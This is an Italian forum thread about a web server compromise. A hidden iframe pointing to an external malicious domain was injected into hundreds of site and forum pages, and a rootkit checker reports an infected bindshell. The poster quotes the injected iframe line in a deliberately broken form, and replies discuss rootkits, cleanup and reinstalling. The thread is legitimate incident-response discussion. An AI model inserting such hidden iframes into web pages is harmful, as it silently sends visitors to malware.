da qualche giorno i lforum e bianco e non sapendo come mai ho controlato e mi soon trovato questo:

<iframe src="http://---------     ---------jL.chu&#114;a.pl/rc/" style="display:none"></iframe>

E spezzato di proposito per evitare ogni tipo di problematica. come si puo togliere questa cosa???

allora qualche bella persona tramite uno script "suppongo" e riscito a insererire questa stringa:

<iframe src="http:/    /j      L.ch   u&#114;a.pl/rc/" style="display:none"></iframe>

 nel sito e in un forum di con il risultato che il sito e stato bloccato perche dichiarato da google infetto.
Sto cercando una riga di comando per pulire tutto il sito . Che faccia la scansione e tolga questa script da tutte le pagine del sito "1180 trovate" forum trovate "300" devo toglierlo e sto cercando un script per toglierlo tutti li.

Checking `bindshell'... INFECTED (PORTS:  xxx)

per il resto ho ripristinato tutto

Ciao,
giusto per capire meglio la discussione, poiché avevo provato ad aiutare Ablius a cercare la stringa incriminata "<iframe src=...." sul file system del Server web nell'altro tread aperto in "Supporto Generale", ed avevo qualche sospetto che fosse fuori strada; la stringa in questione, quindi, da quanto capisco, era generata dinamicamente da un rootkit che si era sostituito alla shell e manipolava le risposte servite ai client web da Apache?
In casi del genere, ammesso che il tool riesca ad individuare il rootkit sul Server, come si deve procedere per "ripulire" il sistema? In questo caso quale dei due tool suggeriti da dankan77 (rkhunter o chkrootkit) è riuscito a trovare il rootkit?
Infine, dopo che ci si accorge che un sistema è stato violato, esiste una ragionevole speranza di riuscire a "ripulirlo" definitivamente, senza il dubbio che qualcosa possa essere sfuggito? O in altri temini: se si incrementa la sicurezza di un sistema di pari passo con l'esperienza e le maggiori conoscenze, come si può fare per verificare se qualcuno non sia entrato nel sistema prima che le porte fossero chiuse?
Grazie.

Di solito quando un server viene bucato dovrebbe  essere reinstallato. Magari facendo una copia del disco in un immagine da usare in una macchina virtuale come analisi forense( per capire come l'aggressione sia stata perpretata)